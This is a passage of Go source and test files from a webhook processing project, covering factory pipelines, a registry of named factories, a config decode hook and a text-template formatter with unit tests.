207 | } 208 | } 209 | 210 | input.Valuable = *vub 211 | v2.Value = input 212 | return v2, true 213 | } 214 | 215 | // goTemplateValue executes the given template with the given data. 216 | // @param template the template to execute 217 | // @param data the data to use for the template 218 | // @return the result of the template execution 219 | func goTemplateValue(tmpl string, data interface{}) string { 220 | t := template.New("gotmpl") 221 | t, err := t.Parse(tmpl) 222 | if err != nil { 223 | panic(err) 224 | } 225 | 226 | buf := new(bytes.Buffer) 227 | if err := t.Execute(buf, data); err != nil { 228 | panic(err) 229 | } 230 | return buf.String() 231 | } 232 | -------------------------------------------------------------------------------- /pkg/factory/factory_test.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "fmt" 7 | "reflect" 8 | "testing" 9 | 10 | "github.com/stretchr/testify/suite" 11 | 12 | "atomys.codes/webhooked/internal/valuable" 13 | ) 14 | 15 | type fakeFactory struct{} 16 | 17 | func (*fakeFactory) Name() string { return "fake" } 18 | func (*fakeFactory) DefinedInpus() []*Var { return []*Var{{false, reflect.TypeOf(""), "name", ""}} } 19 | func (*fakeFactory) DefinedOutputs() []*Var { 20 | return []*Var{{false, reflect.TypeOf(""), "message", ""}} 21 | } 22 | func (*fakeFactory) Func() RunFunc { 23 | return func(factory *Factory, configRaw map[string]interface{}) error { 24 | n, ok := factory.Input("name") 25 | if !ok { 26 | return errors.New("name is not defined") 27 | } 28 | factory.Output("message", fmt.Sprintf("hello %s", n.Value)) 29 | return nil 30 | } 31 | } 32 | 33 | type testSuiteFactory struct { 34 | suite.Suite 35 | } 36 | 37 | func (suite *testSuiteFactory) BeforeTest(suiteName, testName string) { 38 | } 39 | 40 | func TestFactory(t *testing.T) { 41 | suite.Run(t, new(testSuiteFactory)) 42 | } 43 | 44 | func (suite *testSuiteFactory) TestFactoryName() { 45 | var factory = newFactory(&fakeFactory{}) 46 | suite.Equal("fake", factory.Name) 47 | } 48 | 49 | func (suite *testSuiteFactory) TestFactoryInputs() { 50 | var factory = newFactory(&fakeFactory{}) 51 | suite.Len(factory.Inputs, 1) 52 | 53 | var i, ok = factory.Input("name") 54 | suite.True(ok) 55 | suite.Equal(false, i.Internal) 56 | suite.Equal("name", i.Name) 57 | suite.Equal(reflect.TypeOf(""), i.Type) 58 | suite.Equal("", i.Value) 59 | } 60 | 61 | func (suite *testSuiteFactory) TestFactoryOutputs() { 62 | var factory = newFactory(&fakeFactory{}) 63 | suite.Len(factory.Outputs, 1) 64 | 65 | var i, ok = GetVar(factory.Outputs, "message") 66 | suite.True(ok) 67 | suite.Equal(false, i.Internal) 68 | suite.Equal("message", i.Name) 69 | suite.Equal(reflect.TypeOf(""), i.Type) 70 | suite.Equal("", i.Value) 71 | } 72 | 73 | func (suite *testSuiteFactory) TestAddInput() { 74 | var factory = newFactory(&fakeFactory{}) 75 | 76 | factory.WithInput("name", 1) 77 | suite.Len(factory.Inputs, 1) 78 | 79 | slice, err := factory.with(factory.Inputs, "name", 1) 80 | suite.Error(err) 81 | suite.Len(slice, 1) 82 | 83 | slice, err = factory.with(factory.Inputs, "invalid", nil) 84 | suite.Error(err) 85 | suite.Len(slice, 1) 86 | 87 | slice, err = factory.with(factory.Inputs, "name", "test") 88 | suite.NoError(err) 89 | suite.Len(slice, 1) 90 | } 91 | 92 | func (suite *testSuitePipeline) TestAddPipelineInput() { 93 | var factory = newFactory(&fakeFactory{}) 94 | factory.withPipelineInput("name", "pipeline") 95 | suite.Equal("pipeline", factory.Inputs[0].Value) 96 | 97 | factory.withPipelineInput("name", 1) 98 | suite.Equal("pipeline", factory.Inputs[0].Value) 99 | } 100 | 101 | func (suite *testSuiteFactory) TestWithID() { 102 | var factory = newFactory(&fakeFactory{}) 103 | factory.WithID("id") 104 | suite.Equal("id", factory.ID) 105 | suite.Equal("id", factory.Identifier()) 106 | 107 | factory.WithID("") 108 | suite.Equal("", factory.ID) 109 | suite.Equal(factory.Name, factory.Identifier()) 110 | } 111 | 112 | func (suite *testSuiteFactory) TestWithConfig() { 113 | var factory = newFactory(&fakeFactory{}) 114 | factory.WithConfig(map[string]interface{}{"name": "test"}) 115 | suite.Equal("test", factory.Config["name"]) 116 | 117 | factory = newFactory(&fakeFactory{}) 118 | factory.WithConfig(map[string]interface{}{"id": "configID"}) 119 | suite.Equal("configID", factory.ID) 120 | suite.Equal("configID", factory.Identifier()) 121 | suite.Len(factory.Config, 0) 122 | } 123 | 124 | func (suite *testSuiteFactory) TestRun() { 125 | var factory = newFactory(&fakeFactory{}) 126 | factory.WithInput("name", "test") 127 | suite.NoError(factory.Run()) 128 | suite.Equal("hello test", factory.Outputs[0].Value) 129 | 130 | factory = newFactory(&fakeFactory{}) 131 | factory.Inputs = []*Var{} 132 | suite.Error(factory.Run()) 133 | suite.Equal("", factory.Outputs[0].Value) 134 | } 135 | 136 | func (suite *testSuiteFactory) TestProcessInputConfig() { 137 | var v = &Var{Name: "name", Value: &InputConfig{Valuable: valuable.Valuable{Values: []string{"{{ .Outputs.id.message }}", "static"}}}} 138 | 139 | var factory = newFactory(&fakeFactory{}) 140 | ctx := context.WithValue(context.Background(), ctxPipeline, Pipeline{Outputs: map[string]map[string]interface{}{ 141 | "id": { 142 | "message": "testValue", 143 | }, 144 | }}) 145 | factory.ctx = ctx 146 | 147 | v, ok := factory.processInputConfig(v) 148 | suite.True(ok) 149 | suite.ElementsMatch(v.Value.(*InputConfig).Get(), []string{"testValue", "static"}) 150 | 151 | factory = newFactory(&fakeFactory{}) 152 | factory.ctx = ctx 153 | 154 | factory.Inputs[0] = v 155 | v, ok = factory.Input("name") 156 | suite.True(ok) 157 | suite.ElementsMatch(v.Value.(*InputConfig).Get(), []string{"testValue", "static"}) 158 | } 159 | 160 | func (suite *testSuiteFactory) TestGoTempalteValue() { 161 | ret := goTemplateValue("{{ .test }}", map[string]interface{}{"test": "testValue"}) 162 | suite.Equal("testValue", ret) 163 | } 164 | 165 | func (suite *testSuiteFactory) TestFactoryDeepCopy() { 166 | var factory = newFactory(&fakeFactory{}) 167 | factory.WithConfig(map[string]interface{}{"name": "test"}) 168 | 169 | suite.NotSame(factory, factory.DeepCopy()) 170 | } 171 | -------------------------------------------------------------------------------- /pkg/factory/mapstructure_decode.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "fmt" 5 | "reflect" 6 | 7 | "atomys.codes/webhooked/internal/valuable" 8 | ) 9 | 10 | // DecodeHook is a mapstructure.DecodeHook that serializes 11 | // the given data into a InputConfig with a name and a Valuable object. 12 | // mapstructure cannot nested objects, so we need to serialize the 13 | // data into a map[string]interface{} and then deserialize it into 14 | // a InputConfig. 15 | // 16 | // @see https://pkg.go.dev/github.com/mitchellh/mapstructure#DecodeHookFunc for more details. 17 | func DecodeHook(f reflect.Type, t reflect.Type, data interface{}) (interface{}, error) { 18 | if t != reflect.TypeOf(InputConfig{}) { 19 | return data, nil 20 | } 21 | 22 | v, err := valuable.SerializeValuable(data) 23 | if err != nil { 24 | return nil, err 25 | } 26 | 27 | var name = "" 28 | for k, v2 := range rangeOverInterfaceMap(data) { 29 | if fmt.Sprintf("%v", k) == "name" { 30 | name = fmt.Sprintf("%s", v2) 31 | break 32 | } 33 | } 34 | 35 | if err != nil { 36 | return nil, err 37 | } 38 | 39 | return &InputConfig{ 40 | Valuable: *v, 41 | Name: name, 42 | }, nil 43 | } 44 | 45 | // rangeOverInterfaceMap iterates over the given interface map to convert it 46 | // into a map[string]interface{}. This is needed because mapstructure cannot 47 | // handle objects that are not of type map[string]interface{} for obscure reasons. 48 | func rangeOverInterfaceMap(data interface{}) map[string]interface{} { 49 | transformedData, ok := data.(map[string]interface{}) 50 | if !ok { 51 | transformedData = make(map[string]interface{}) 52 | for k, v := range data.(map[interface{}]interface{}) { 53 | transformedData[fmt.Sprintf("%v", k)] = v 54 | } 55 | } 56 | 57 | return transformedData 58 | } 59 | -------------------------------------------------------------------------------- /pkg/factory/mapstructure_decode_test.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/mitchellh/mapstructure" 7 | "github.com/stretchr/testify/assert" 8 | "github.com/stretchr/testify/suite" 9 | ) 10 | 11 | type TestSuiteInputConfigDecode struct { 12 | suite.Suite 13 | 14 | testValue, testName string 15 | testInputConfig map[interface{}]interface{} 16 | 17 | decodeFunc func(input, output interface{}) (err error) 18 | } 19 | 20 | func (suite *TestSuiteInputConfigDecode) BeforeTest(suiteName, testName string) { 21 | suite.testName = "testName" 22 | suite.testValue = "testValue" 23 | suite.testInputConfig = map[interface{}]interface{}{ 24 | "name": suite.testName, 25 | "value": suite.testValue, 26 | } 27 | 28 | suite.decodeFunc = func(input, output interface{}) (err error) { 29 | var decoder *mapstructure.Decoder 30 | 31 | decoder, err = mapstructure.NewDecoder(&mapstructure.DecoderConfig{ 32 | Result: output, 33 | DecodeHook: DecodeHook, 34 | }) 35 | if err != nil { 36 | return err 37 | } 38 | 39 | return decoder.Decode(input) 40 | } 41 | } 42 | 43 | func (suite *TestSuiteInputConfigDecode) TestDecodeInvalidOutput() { 44 | assert := assert.New(suite.T()) 45 | 46 | err := suite.decodeFunc(map[interface{}]interface{}{"value": suite.testValue}, nil) 47 | assert.Error(err) 48 | } 49 | 50 | func (suite *TestSuiteInputConfigDecode) TestDecodeInvalidInput() { 51 | assert := assert.New(suite.T()) 52 | 53 | output := struct{}{} 54 | err := suite.decodeFunc(map[interface{}]interface{}{"value": true}, &output) 55 | assert.NoError(err) 56 | } 57 | 58 | func (suite *TestSuiteInputConfigDecode) TestDecodeString() { 59 | assert := assert.New(suite.T()) 60 | 61 | output := InputConfig{} 62 | err := suite.decodeFunc(suite.testInputConfig, &output) 63 | assert.NoError(err) 64 | assert.Equal(suite.testName, output.Name) 65 | assert.Equal(suite.testValue, output.First()) 66 | } 67 | 68 | func TestRunSuiteInputConfigDecode(t *testing.T) { 69 | suite.Run(t, new(TestSuiteInputConfigDecode)) 70 | } 71 | -------------------------------------------------------------------------------- /pkg/factory/pipeline.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "context" 5 | "reflect" 6 | 7 | "github.com/rs/zerolog/log" 8 | ) 9 | 10 | // NewPipeline initializes a new pipeline 11 | func NewPipeline() *Pipeline { 12 | return &Pipeline{ 13 | Outputs: make(map[string]map[string]interface{}), 14 | Inputs: make(map[string]interface{}), 15 | } 16 | } 17 | 18 | // DeepCopy creates a deep copy of the pipeline. 19 | func (p *Pipeline) DeepCopy() *Pipeline { 20 | deepCopy := NewPipeline().WantResult(p.WantedResult) 21 | for _, f := range p.factories { 22 | deepCopy.AddFactory(f.DeepCopy()) 23 | } 24 | for k, v := range p.Inputs { 25 | deepCopy.WithInput(k, v) 26 | } 27 | return deepCopy 28 | } 29 | 30 | // AddFactory adds a new factory to the pipeline. New Factory is added to the 31 | // end of the pipeline. 32 | func (p *Pipeline) AddFactory(f *Factory) *Pipeline { 33 | p.factories = append(p.factories, f) 34 | return p 35 | } 36 | 37 | // HasFactories returns true if the pipeline has at least one factory. 38 | func (p *Pipeline) HasFactories() bool { 39 | return p.FactoryCount() > 0 40 | } 41 | 42 | // FactoryCount returns the number of factories in the pipeline. 43 | func (p *Pipeline) FactoryCount() int { 44 | return len(p.factories) 45 | } 46 | 47 | // WantResult sets the wanted result of the pipeline. 48 | // the result is compared to the last result of the pipeline. 49 | // type and value of the result must be the same as the last result 50 | func (p *Pipeline) WantResult(result interface{}) *Pipeline { 51 | p.WantedResult = result 52 | return p 53 | } 54 | 55 | // CheckResult checks if the pipeline result is the same as the wanted result. 56 | // type and value of the result must be the same as the last result 57 | func (p *Pipeline) CheckResult() bool { 58 | for _, lr := range p.LastResults { 59 | if reflect.TypeOf(lr) != reflect.TypeOf(p.WantedResult) { 60 | log.Warn().Msgf("pipeline result is not the same type as wanted result") 61 | return false 62 | } 63 | if lr == p.WantedResult { 64 | return true 65 | } 66 | } 67 | return false 68 | } 69 | 70 | // Run executes the pipeline. 71 | // Factories are executed in the order they were added to the pipeline. 72 | // The last factory is returned 73 | // 74 | // @return the last factory 75 | func (p *Pipeline) Run() *Factory { 76 | for _, f := range p.factories { 77 | f.ctx = context.WithValue(f.ctx, ctxPipeline, p) 78 | for k, v := range p.Inputs { 79 | f.withPipelineInput(k, v) 80 | } 81 | 82 | log.Debug().Msgf("running factory %s", f.Name) 83 | for _, v := range f.Inputs { 84 | log.Debug().Msgf("factory %s input %s = %+v", f.Name, v.Name, v.Value) 85 | } 86 | if err := f.Run(); err != nil { 87 | log.Error().Msgf("factory %s failed: %s", f.Name, err.Error()) 88 | return f 89 | } 90 | 91 | for _, v := range f.Outputs { 92 | log.Debug().Msgf("factory %s output %s = %+v", f.Name, v.Name, v.Value) 93 | } 94 | 95 | if p.WantedResult != nil { 96 | p.LastResults = make([]interface{}, 0) 97 | } 98 | 99 | for _, v := range f.Outputs { 100 | p.writeOutputSafely(f.Identifier(), v.Name, v.Value) 101 | 102 | if p.WantedResult != nil { 103 | p.LastResults = append(p.LastResults, v.Value) 104 | } 105 | } 106 | } 107 | 108 | if p.HasFactories() { 109 | return p.factories[len(p.factories)-1] 110 | } 111 | 112 | // Clean up the pipeline 113 | p.Inputs = make(map[string]interface{}) 114 | p.Outputs = make(map[string]map[string]interface{}) 115 | 116 | return nil 117 | } 118 | 119 | // WithInput adds a new input to the pipeline. The input is added safely to prevent 120 | // concurrent map writes error. 121 | func (p *Pipeline) WithInput(name string, value interface{}) *Pipeline { 122 | p.mu.Lock() 123 | defer p.mu.Unlock() 124 | 125 | p.Inputs[name] = value 126 | return p 127 | } 128 | 129 | // writeOutputSafely writes the output to the pipeline output map. If the key 130 | // already exists, the value is overwritten. This is principally used to 131 | // write on the map withtout create a new map or PANIC due to concurrency map writes. 132 | func (p *Pipeline) writeOutputSafely(factoryIdentifier, factoryOutputName string, value interface{}) { 133 | p.mu.Lock() 134 | defer p.mu.Unlock() 135 | 136 | // Ensure the factory output map exists 137 | if p.Outputs[factoryIdentifier] == nil { 138 | p.Outputs[factoryIdentifier] = make(map[string]interface{}) 139 | } 140 | 141 | p.Outputs[factoryIdentifier][factoryOutputName] = value 142 | } 143 | -------------------------------------------------------------------------------- /pkg/factory/pipeline_test.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/suite" 7 | ) 8 | 9 | type testSuitePipeline struct { 10 | suite.Suite 11 | pipeline *Pipeline 12 | testFactory *Factory 13 | } 14 | 15 | func (suite *testSuitePipeline) BeforeTest(suiteName, testName string) { 16 | suite.pipeline = NewPipeline() 17 | suite.testFactory = newFactory(&fakeFactory{}) 18 | suite.pipeline.AddFactory(suite.testFactory) 19 | } 20 | 21 | func TestPipeline(t *testing.T) { 22 | suite.Run(t, new(testSuitePipeline)) 23 | } 24 | 25 | func (suite *testSuitePipeline) TestPipelineInput() { 26 | suite.pipeline.Inputs["name"] = "test" 27 | suite.pipeline.Inputs["invalid"] = "test" 28 | 29 | suite.pipeline.Run() 30 | 31 | i, ok := suite.testFactory.Input("name") 32 | suite.True(ok) 33 | suite.Equal("test", i.Value) 34 | 35 | i, ok = suite.testFactory.Input("invalid") 36 | suite.False(ok) 37 | suite.Nil(i) 38 | } 39 | 40 | func (suite *testSuitePipeline) TestPipelineCreation() { 41 | var pipeline = NewPipeline() 42 | pipeline.AddFactory(suite.testFactory) 43 | 44 | suite.Equal(1, pipeline.FactoryCount()) 45 | suite.True(pipeline.HasFactories()) 46 | } 47 | 48 | func (suite *testSuitePipeline) TestRunEmptyPipeline() { 49 | var pipeline = NewPipeline() 50 | 51 | suite.Equal(0, pipeline.FactoryCount()) 52 | suite.False(pipeline.HasFactories()) 53 | 54 | f := pipeline.Run() 55 | suite.Nil(f) 56 | } 57 | 58 | func (suite *testSuitePipeline) TestPipelineRun() { 59 | var pipeline = NewPipeline() 60 | var wantedResult = "hello test" 61 | 62 | pipeline.AddFactory(suite.testFactory) 63 | pipeline.Inputs["name"] = "test" 64 | pipeline.WantResult(wantedResult) 65 | 66 | f := pipeline.Run() 67 | suite.Equal(f, suite.testFactory) 68 | 69 | suite.True(pipeline.CheckResult()) 70 | suite.Equal(wantedResult, pipeline.Outputs["fake"]["message"]) 71 | } 72 | 73 | func (suite *testSuitePipeline) TestPipelineWithInput() { 74 | var pipeline = NewPipeline() 75 | pipeline.WithInput("test", true) 76 | 77 | suite.True(pipeline.Inputs["test"].(bool)) 78 | } 79 | 80 | func (suite *testSuitePipeline) TestPipelineResultWithInvalidType() { 81 | var pipeline = NewPipeline() 82 | 83 | pipeline.AddFactory(suite.testFactory) 84 | pipeline.Inputs["name"] = "test" 85 | pipeline.WantResult(true) 86 | pipeline.Run() 87 | 88 | suite.False(pipeline.CheckResult()) 89 | } 90 | 91 | func (suite *testSuitePipeline) TestCheckResultWithoutWantedResult() { 92 | var pipeline = NewPipeline() 93 | 94 | pipeline.AddFactory(suite.testFactory) 95 | pipeline.Inputs["name"] = "test" 96 | pipeline.Run() 97 | 98 | suite.False(pipeline.CheckResult()) 99 | } 100 | 101 | func (suite *testSuitePipeline) TestPipelineFailedDueToFactoryErr() { 102 | var pipeline = NewPipeline() 103 | var factory = newFactory(&fakeFactory{}) 104 | var factory2 = newFactory(&fakeFactory{}) 105 | factory.Inputs = make([]*Var, 0) 106 | 107 | pipeline.AddFactory(factory).AddFactory(factory2) 108 | ret := pipeline.Run() 109 | suite.Equal(factory, ret) 110 | } 111 | 112 | func (suite *testSuitePipeline) TestPipelineDeepCopy() { 113 | var pipeline = NewPipeline() 114 | var factory = newFactory(&fakeFactory{}) 115 | var factory2 = newFactory(&fakeFactory{}) 116 | factory.Inputs = make([]*Var, 0) 117 | 118 | pipeline.AddFactory(factory).AddFactory(factory2) 119 | pipeline.Inputs["name"] = "test" 120 | pipeline.WantResult("test") 121 | 122 | var pipeline2 = pipeline.DeepCopy() 123 | suite.NotSame(pipeline, pipeline2) 124 | } 125 | -------------------------------------------------------------------------------- /pkg/factory/registry.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | var ( 9 | // FunctionMap contains the map of function names to their respective functions 10 | // This is used to validate the function name and to get the function by name 11 | factoryMap = map[string]IFactory{ 12 | "debug": &debugFactory{}, 13 | "header": &headerFactory{}, 14 | "compare": &compareFactory{}, 15 | "hasPrefix": &hasPrefixFactory{}, 16 | "hasSuffix": &hasSuffixFactory{}, 17 | "generateHmac256": &generateHMAC256Factory{}, 18 | } 19 | ) 20 | 21 | // GetFactoryByName returns true if the function name is contained in the map 22 | func GetFactoryByName(name string) (*Factory, bool) { 23 | for k, v := range factoryMap { 24 | if strings.EqualFold(k, name) { 25 | return newFactory(v), true 26 | } 27 | } 28 | 29 | return nil, false 30 | } 31 | 32 | // Register a new factory in the factory map with the built-in factory name 33 | func Register(factory IFactory) error { 34 | if _, ok := GetFactoryByName(factory.Name()); ok { 35 | return fmt.Errorf("factory %s is already exist", factory.Name()) 36 | } 37 | factoryMap[factory.Name()] = factory 38 | return nil 39 | } 40 | -------------------------------------------------------------------------------- /pkg/factory/registry_test.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/suite" 7 | ) 8 | 9 | type testSuiteRegistry struct { 10 | suite.Suite 11 | } 12 | 13 | func (suite *testSuiteRegistry) BeforeTest(suiteName, testName string) { 14 | } 15 | 16 | func TestRegistry(t *testing.T) { 17 | suite.Run(t, new(testSuiteRegistry)) 18 | } 19 | 20 | func (suite *testSuiteRegistry) TestRegisterANewFactory() { 21 | var actualFactoryLenSize = len(factoryMap) 22 | err := Register(&fakeFactory{}) 23 | 24 | suite.NoError(err) 25 | suite.Equal(actualFactoryLenSize+1, len(factoryMap)) 26 | 27 | var factory, ok = GetFactoryByName("fake") 28 | suite.True(ok) 29 | suite.Equal("fake", factory.Name) 30 | 31 | } 32 | 33 | func (suite *testSuiteRegistry) TestRegisterFactoryTwice() { 34 | err := Register(&fakeFactory{}) 35 | suite.Error(err) 36 | } 37 | 38 | func (suite *testSuiteRegistry) TestGetFactoryByHerName() { 39 | factory, ok := GetFactoryByName("invalid") 40 | suite.False(ok) 41 | suite.Nil(factory) 42 | } 43 | -------------------------------------------------------------------------------- /pkg/factory/structs.go: -------------------------------------------------------------------------------- 1 | package factory 2 | 3 | import ( 4 | "context" 5 | "reflect" 6 | "sync" 7 | 8 | "atomys.codes/webhooked/internal/valuable" 9 | ) 10 | 11 | // contextKey is used to define context key inside the factory package 12 | type contextKey string 13 | 14 | // InputConfig is a struct that contains the name and the value of an input. 15 | // It is used to store the inputs of a factory. The name is used to retrieve 16 | // the value of the input from the factory. 17 | // 18 | // This is used to load the inputs of a factory from the configuration file. 19 | type InputConfig struct { 20 | valuable.Valuable 21 | Name string `mapstructure:"name"` 22 | } 23 | 24 | // Pipeline is a struct that contains informations about the pipeline. 25 | // It is used to store the inputs and outputs of all factories executed 26 | // by the pipeline and secure the result of the pipeline. 27 | type Pipeline struct { 28 | mu sync.RWMutex 29 | factories []*Factory 30 | 31 | WantedResult interface{} 32 | LastResults []interface{} 33 | 34 | Inputs map[string]interface{} 35 | 36 | Outputs map[string]map[string]interface{} 37 | } 38 | 39 | // RunFunc is a function that is used to run a factory. 40 | // It is used to run a factory in a pipeline. 41 | // @param factory the factory to run 42 | // @param configRaw the raw configuration of the factory 43 | type RunFunc func(factory *Factory, configRaw map[string]interface{}) error 44 | 45 | // Factory represents a factory that can be executed by the pipeline. 46 | type Factory struct { 47 | ctx context.Context 48 | // Name is the name of the factory function 49 | Name string 50 | // ID is the unique ID of the factory 51 | ID string 52 | // Fn is the factory function 53 | Fn RunFunc 54 | // Protect following fields 55 | mu sync.RWMutex 56 | // Config is the configuration for the factory function 57 | Config map[string]interface{} 58 | // Inputs is the inputs of the factory 59 | Inputs []*Var 60 | // Outputs is the outputs of the factory 61 | Outputs []*Var 62 | } 63 | 64 | // Var is a struct that contains the name and the value of an input or output. 65 | // It is used to store the inputs and outputs of a factory. 66 | type Var struct { 67 | // Internal is to specify if the variable is an internal provided variable 68 | Internal bool 69 | // Type is the type of the wanted variable 70 | Type reflect.Type 71 | // Name is the name of the variable 72 | Name string 73 | // Value is the value of the variable, type can be retrieved from Type field 74 | Value interface{} 75 | } 76 | 77 | // IFactory is an interface that represents a factory. 78 | type IFactory interface { 79 | // Name is the name of the factory function 80 | // The name must be unique in the registry 81 | // @return the name of the factory function 82 | Name() string 83 | // DefinedInputs returns the wanted inputs of the factory used 84 | // by the function during the execution of the pipeline 85 | DefinedInpus() []*Var 86 | // DefinedOutputs returns the wanted outputs of the factory used 87 | // by the function during the execution of the pipeline 88 | DefinedOutputs() []*Var 89 | // Func is used to build the factory function 90 | // @return the factory function 91 | Func() RunFunc 92 | } 93 | -------------------------------------------------------------------------------- /pkg/formatting/formatter.go: -------------------------------------------------------------------------------- 1 | package formatting 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "fmt" 7 | "net/http" 8 | "sync" 9 | "text/template" 10 | ) 11 | 12 | type Formatter struct { 13 | tmplString string 14 | 15 | mu sync.RWMutex // protect following field amd template parsing 16 | data map[string]interface{} 17 | } 18 | 19 | var ( 20 | formatterCtxKey = struct{}{} 21 | // ErrNotFoundInContext is returned when the formatting data is not found in 22 | // the context. Use `FromContext` and `ToContext` to set and get the data in 23 | // the context. 24 | ErrNotFoundInContext = fmt.Errorf("unable to get the formatting data from the context") 25 | // ErrNoTemplate is returned when no template is defined in the Formatter 26 | // instance. Provide a template using the WithTemplate method. 27 | ErrNoTemplate = fmt.Errorf("no template defined") 28 | ) 29 | 30 | // NewWithTemplate returns a new Formatter instance. It takes the template 31 | // string as a parameter. The template string is the string that will be used 32 | // to render the template. The data is the map of data that will be used to 33 | // render the template. 34 | // ! DEPRECATED: use New() and WithTemplate() instead 35 | func NewWithTemplate(tmplString string) *Formatter { 36 | return &Formatter{ 37 | tmplString: tmplString, 38 | data: make(map[string]interface{}), 39 | mu: sync.RWMutex{}, 40 | } 41 | } 42 | 43 | // New returns a new Formatter instance. It takes no parameters. The template 44 | // string must be set using the WithTemplate method. The data is the map of data 45 | // that will be used to render the template. 46 | func New() *Formatter { 47 | return &Formatter{ 48 | data: make(map[string]interface{}), 49 | mu: sync.RWMutex{}, 50 | } 51 | } 52 | 53 | // WithTemplate sets the template string. The template string is the string that 54 | // will be used to render the template. 55 | func (d *Formatter) WithTemplate(tmplString string) *Formatter { 56 | d.tmplString = tmplString 57 | return d 58 | } 59 | 60 | // WithData adds a key-value pair to the data map. The key is the name of the 61 | // variable and the value is the value of the variable. 62 | func (d *Formatter) WithData(name string, data interface{}) *Formatter { 63 | d.mu.Lock() 64 | defer d.mu.Unlock() 65 | 66 | d.data[name] = data 67 | return d 68 | } 69 | 70 | // WithRequest adds a http.Request object to the data map. The key of request is 71 | // "Request". 72 | func (d *Formatter) WithRequest(r *http.Request) *Formatter { 73 | d.WithData("Request", r) 74 | return d 75 | } 76 | 77 | // WithPayload adds a payload to the data map. The key of payload is "Payload". 78 | // The payload is basically the body of the request. 79 | func (d *Formatter) WithPayload(payload []byte) *Formatter { 80 | d.WithData("Payload", string(payload)) 81 | return d 82 | } 83 | 84 | // Render returns the rendered template string. It takes the template string 85 | // from the Formatter instance and the data stored in the Formatter 86 | // instance. It returns an error if the template string is invalid or when 87 | // rendering the template fails. 88 | func (d *Formatter) Render() (string, error) { 89 | d.mu.RLock() 90 | defer d.mu.RUnlock() 91 | 92 | if d.tmplString == "" { 93 | return "", ErrNoTemplate 94 | } 95 | 96 | t := template.New("formattingTmpl").Funcs(funcMap()) 97 | t, err := t.Parse(d.tmplString) 98 | if err != nil { 99 | return "", fmt.Errorf("error in your template: %s", err.Error()) 100 | } 101 | 102 | buf := new(bytes.Buffer) 103 | if err := t.Execute(buf, d.data); err != nil { 104 | return "", fmt.Errorf("error while filling your template: %s", err.Error()) 105 | } 106 | 107 | if buf.String() == "" { 108 | return "", fmt.Errorf("template cannot be rendered, check your template") 109 | } 110 | 111 | return buf.String(), nil 112 | } 113 | 114 | // FromContext returns the Formatter instance stored in the context. It returns 115 | // an error if the Formatter instance is not found in the context. 116 | func FromContext(ctx context.Context) (*Formatter, error) { 117 | d, ok := ctx.Value(formatterCtxKey).(*Formatter) 118 | if !ok { 119 | return nil, ErrNotFoundInContext 120 | } 121 | return d, nil 122 | } 123 | 124 | // ToContext adds the Formatter instance to the context. It returns the context 125 | // with the Formatter instance. 126 | func ToContext(ctx context.Context, d *Formatter) context.Context { 127 | return context.WithValue(ctx, formatterCtxKey, d) 128 | } 129 | -------------------------------------------------------------------------------- /pkg/formatting/formatter_test.go: -------------------------------------------------------------------------------- 1 | package formatting 2 | 3 | import ( 4 | "context" 5 | "encoding/json" 6 | "net/http" 7 | "net/http/httptest" 8 | "testing" 9 | 10 | "github.com/stretchr/testify/assert" 11 | ) 12 | 13 | func TestNewWithTemplate(t *testing.T) { 14 | assert := assert.New(t) 15 | 16 | tmpl := New().WithTemplate("") 17 | assert.NotNil(tmpl) 18 | assert.Equal("", tmpl.tmplString) 19 | assert.Equal(0, len(tmpl.data)) 20 | 21 | tmpl = New().WithTemplate("{{ .Payload }}") 22 | assert.NotNil(tmpl) 23 | assert.Equal("{{ .Payload }}", tmpl.tmplString) 24 | assert.Equal(0, len(tmpl.data)) 25 | 26 | tmpl = NewWithTemplate("{{ .Payload }}") 27 | assert.NotNil(tmpl) 28 | assert.Equal("{{ .Payload }}", tmpl.tmplString) 29 | assert.Equal(0, len(tmpl.data)) 30 | } 31 | 32 | func Test_WithData(t *testing.T) { 33 | assert := assert.New(t) 34 | 35 | tmpl := New().WithTemplate("").WithData("test", true) 36 | assert.NotNil(tmpl) 37 | assert.Equal("", tmpl.tmplString) 38 | assert.Equal(1, len(tmpl.data)) 39 | assert.Equal(true, tmpl.data["test"]) 40 | } 41 | 42 | func Test_WithRequest(t *testing.T) { 43 | assert := assert.New(t) 44 | 45 | tmpl := New().WithTemplate("").WithRequest(httptest.NewRequest("GET", "/", nil)) 46 | assert.NotNil(tmpl) 47 | assert.Equal("", tmpl.tmplString) 48 | assert.Equal(1, len(tmpl.data)) 49 | assert.Nil(tmpl.data["request"]) 50 | assert.NotNil(tmpl.data["Request"]) 51 | assert.Equal("GET", tmpl.data["Request"].(*http.Request).Method) 52 | } 53 | 54 | func Test_WithPayload(t *testing.T) { 55 | assert := assert.New(t) 56 | 57 | data, err := json.Marshal(map[string]interface{}{"test": "test"}) 58 | assert.Nil(err) 59 | 60 | tmpl := New().WithTemplate("").WithPayload(data) 61 | assert.NotNil(tmpl) 62 | assert.Equal("", tmpl.tmplString) 63 | assert.Equal(1, len(tmpl.data)) 64 | assert.JSONEq(`{"test":"test"}`, tmpl.data["Payload"].(string)) 65 | } 66 | 67 | func Test_Render(t *testing.T) { 68 | assert := assert.New(t) 69 | 70 | // Test with no template 71 | _, err := New().Render() 72 | assert.ErrorIs(err, ErrNoTemplate) 73 | 74 | // Test with basic template 75 | tmpl := New().WithTemplate("{{ .Payload }}").WithPayload([]byte(`{"test": "test"}`)) 76 | assert.NotNil(tmpl) 77 | assert.Equal("{{ .Payload }}", tmpl.tmplString) 78 | assert.Equal(1, len(tmpl.data)) 79 | assert.JSONEq(`{"test":"test"}`, tmpl.data["Payload"].(string)) 80 | 81 | str, err := tmpl.Render() 82 | assert.Nil(err) 83 | assert.JSONEq("{\"test\":\"test\"}", str) 84 | 85 | // Test with template with multiple data sources 86 | // and complex template 87 | req := httptest.NewRequest("GET", "/", nil) 88 | req.Header.Set("X-Test", "test") 89 | 90 